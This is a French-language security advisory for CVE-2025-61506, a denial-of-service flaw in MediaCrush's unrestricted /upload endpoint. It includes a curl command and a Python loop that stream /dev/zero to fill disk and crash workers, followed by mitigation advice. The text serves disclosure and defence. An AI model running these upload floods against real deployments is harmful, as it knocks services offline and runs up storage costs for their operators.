
Vulnérabilité DoS de téléchargement de fichier sans restriction découverte dans MediaCrush jusqu'à la version 1.0.1(CVE-2025-61506)
Un problème a été découvert dans MediaCrush jusqu'à la version 1.0.1, permettant à des attaquants distants non authentifiés de téléverser des fichiers arbitraires de toute taille vers le point de terminaison /upload. Vulnérabilité : téléversement de fichiers sans restriction (CWE-434) Identifiant CVE : CVE-2025-61506 DÉCOUVERTE : 18 septembre ATTRIBUTION : 9 octobre Composant affecté : mediacrush/upload.py, app.py (point de terminaison de téléversement Flask) Versions affectées : toutes les versions (dernier commit 8f4b2a3f, vers 2014) Impact : déni de service (DoS) Sévérité : CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Le point de terminaison /upload de MediaCrush (mediacrush/upload.py) permet à des attaquants non authentifiés de téléverser des fichiers arbitrairement volumineux sans limite de taille, validation du type MIME ni limitation de débit. Cela conduit à un déni de service en épuisant le stockage disque (./storage par défaut), en surchargeant les workers Redis et Celery et en faisant planter l'application. La vulnérabilité affecte toutes les instances de MediaCrush (déployées localement ou en réseau) en raison de l'absence de validation des entrées dans le gestionnaire de téléversement basé sur Flask. Comme le projet n'est plus maintenu (dernière mise à jour en 2014), aucun correctif n'existe.
Mettez en place une instance locale de MediaCrush (selon le README : Python 2.7, Flask 0.10.1, Redis, Celery).
Lancez l'application (python app.py) et le worker Celery (celery worker -A mediacrush -Q celery,priority).
Exécutez la commande suivante pour téléverser un fichier volumineux :
curl -F "file=@/dev/zero" http://localhost:5000/upload
Ou utilisez un script Python pour effectuer plusieurs téléversements :
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
Résultat : le stockage disque (p. ex., /tmp/storage) se remplit, les workers Celery plantent à cause d'un manque de mémoire (OOM) et les nouveaux téléversements échouent (HTTP 500/413). L'utilisation mémoire de Redis fait un pic.
Déni de service : remplit le disque, fait planter l'application et empêche les nouveaux téléversements ou la diffusion des médias.
Abus de stockage : les attaquants peuvent utiliser MediaCrush comme espace de stockage gratuit et illimité pour des fichiers malveillants (p. ex., contenu piraté).
Coût cloud : si storage_folder est adossé à un service cloud (p. ex., AWS S3), cela entraîne une facturation importante.
Affecte tout déploiement auto-hébergé de MediaCrush jusqu'à la version 1.0.1.
Appliquez des limites de taille de téléversement côté serveur en utilisant la configuration MAX_CONTENT_LENGTH de Flask et les directives client_max_body_size du serveur web (p. ex., nginx). Mettez en œuvre une validation appropriée des fichiers et une limitation de débit afin d'empêcher l'épuisement des ressources.
Comme le projet n'est plus maintenu, les utilisateurs devraient forker le projet et appliquer un correctif, ou éviter tout déploiement.
Dépôt MediaCrush : https://github.com/MediaCrush/MediaCrush
CWE-434 : https://cwe.mitre.org/data/definitions/434.html
Découverte lors d'un audit bug bounty de projets open source.
Aucun CVE antérieur trouvé pour MediaCrush (recherche effectuée dans la NVD et les avis GitHub).
Projet non maintenu ; aucune réponse du fournisseur attendue ([email protected], IRC #mediacrush inactif).